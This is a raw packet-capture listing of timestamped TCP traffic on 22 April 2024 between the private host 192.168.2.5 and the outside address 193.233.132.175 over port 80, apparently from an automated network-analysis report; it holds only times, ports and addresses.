Apr 22, 2024 01:18:09.919423103 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919459105 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919476986 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919497013 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919512987 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919534922 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919573069 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919579983 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919579983 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919611931 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919646025 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919648886 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919689894 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919697046 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919697046 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919728041 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919738054 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919768095 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919784069 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919805050 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919845104 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919850111 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919850111 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919883966 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:09.919919968 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:09.919990063 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.108176947 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.108417988 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.126069069 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.126224041 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.126271009 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.126300097 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.126360893 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.126439095 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.141412973 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.141624928 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.142496109 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.142544031 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.142564058 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.142580032 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.142589092 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.142620087 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.142627954 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.142668962 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.171751022 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.171873093 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.171895981 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.171916008 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.171937943 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.171973944 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.171997070 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172035933 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172075987 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172147036 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172185898 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172188997 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172188997 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172219992 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172224998 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172228098 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172265053 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172266006 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172303915 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172310114 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172343969 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172349930 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172382116 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172390938 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172430038 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172439098 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172472000 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172476053 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172513008 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172517061 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172552109 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172554970 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172595024 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172601938 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172635078 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172640085 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172676086 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172679901 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172713995 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172720909 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172754049 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172759056 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172791958 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172796965 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172830105 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172833920 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172867060 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172868967 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172904968 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172909975 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172944069 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172950029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.172983885 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.172987938 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173022985 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173027039 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173063040 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173067093 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173104048 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173108101 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173145056 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173146009 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173182964 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173190117 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173221111 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173228025 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173260927 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173264027 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173300028 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173310995 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173338890 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173343897 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173378944 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173382998 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173417091 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173423052 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173456907 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173460960 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173496008 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173501968 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173536062 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173540115 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173574924 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173578978 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173614025 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173619032 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173650980 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173652887 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173691034 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173691988 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173732042 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173738003 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173770905 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173773050 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173808098 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173814058 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173846960 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173857927 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173886061 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173887968 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173927069 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173933029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.173964977 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.173970938 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174005032 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174009085 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174045086 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174048901 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174086094 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174088955 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174125910 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174129009 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174165010 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174169064 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174204111 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174206018 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174245119 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174248934 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174283981 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174288988 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174324989 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174329042 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174364090 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174376011 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174403906 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174408913 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174444914 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174448013 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174483061 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174488068 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174524069 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174529076 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174566031 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174570084 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174603939 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174608946 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174644947 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174649000 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174683094 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174688101 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174721003 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174730062 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174761057 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174762011 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174799919 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174802065 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174844027 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174844027 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174885988 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174890995 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174923897 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174927950 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.174964905 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.174968958 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.175004005 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.175008059 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.175043106 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.175044060 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.175081968 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.175085068 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.175121069 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.175126076 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.175162077 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.175168037 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.175203085 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.175205946 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.175241947 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.175246000 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.175287008 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.360054016 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.360129118 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.377856016 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.377960920 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.378170013 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.378211975 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.378217936 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.378258944 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.393505096 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.393544912 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.393657923 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.393657923 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.394037962 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.394093037 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.394098997 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.394141912 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.394145012 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.394181967 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.394193888 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.394229889 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.426749945 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.426793098 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.426800013 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.426834106 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.426839113 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.426875114 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.426878929 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.426913977 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.426919937 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.426954985 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.426958084 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.426992893 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.426996946 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427031040 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427037954 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427077055 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427079916 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427123070 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427124977 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427160978 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427165031 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427200079 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427205086 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427237988 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427247047 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427277088 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427282095 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427314997 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427325010 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427351952 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427361012 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427392960 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427397013 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427431107 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427437067 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427468061 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427473068 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427505970 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427510977 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427546024 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427550077 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427587032 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427587986 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427624941 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427628994 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427664042 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427669048 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427701950 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427710056 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427740097 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427747965 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427778006 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427782059 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427817106 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427817106 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427854061 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427860022 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427891970 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427896976 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427931070 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427933931 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.427968979 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.427973986 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428006887 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428014040 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428045034 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428050041 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428086042 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428087950 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428128958 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428152084 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428189993 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428195953 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428229094 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428234100 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428267956 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428270102 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428307056 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428312063 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428345919 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428350925 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428384066 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428384066 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428422928 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428426027 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428461075 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428464890 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428499937 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428503036 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428539038 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428544044 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428577900 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428581953 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428616047 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428620100 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428668022 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428669930 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428709984 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428710938 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428749084 CEST	80	49710	193.233.132.175	192.168.2.5
